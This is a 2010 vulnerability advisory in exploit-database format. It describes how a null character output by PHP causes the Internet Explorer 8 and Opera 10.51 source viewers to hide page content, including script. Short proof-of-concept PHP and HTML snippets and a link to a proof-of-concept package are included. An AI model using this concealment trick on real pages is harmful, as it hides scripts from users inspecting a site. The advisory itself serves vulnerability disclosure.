67 lines
No EOL
2.3 KiB
Text
67 lines
No EOL
2.3 KiB
Text
# Exploit Title: IE/Opera source code viewer Null Character Handling
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Vulnerability
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# Date: 10/04/2010
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# Author: Daniel Correa
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# Software Link:
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http://www.microsoft.com/windows/internet-explorer/default.aspx
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# Software Link: http://www.opera.com/download/
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# Version: Tested on IE 8, Opera 10.51
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# Tested on: Windows XP; Windows 7 + default IE 8
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# CVE :
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# Description :
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The vulnerability in the source code viewer in both browsers (IE &
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Opera) is when they are processing the null control character (0×00),
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including this character in the transmission message results in a
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misunderstanding that is reflected in the concealment of the transmitted
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message, only the code that is between valid tags is shown. In other
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words, exploiting this vulnerability we can completely hide the source
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code to the user of Internet Explorer and Opera browsers.
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# Code:
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The next code hide all the source code to source code viewer.
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<?php
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echo "\x00";
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?>
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Esto es un mensaje oculto
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This is a hide message
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Este es otro
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Thie is another one
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...
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Como vemos podemos esconder cualquier mensaje
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As we can see we can hide any message
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<html>
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<head>
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<title>Titulo</title>
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</head>
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<body>
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<h1>Hola mundo</h1>
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</body>
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</html>
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And the next,only hide part of the code (The script part)
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<html>
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<head>
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<title>Titulo</title>
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</head>
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<body>
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<h1>Hello world</h1>
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</body>
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</html>
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<?php
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echo chr(0);
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?>
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<script>alert('This code is never seen');</script>
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Package contain three proofs of concept:
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http://www.sinfocol.org/archivos/2010/04/ie_opera_null.zip
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--
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Sinfocol
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http://www.sinfocol.org
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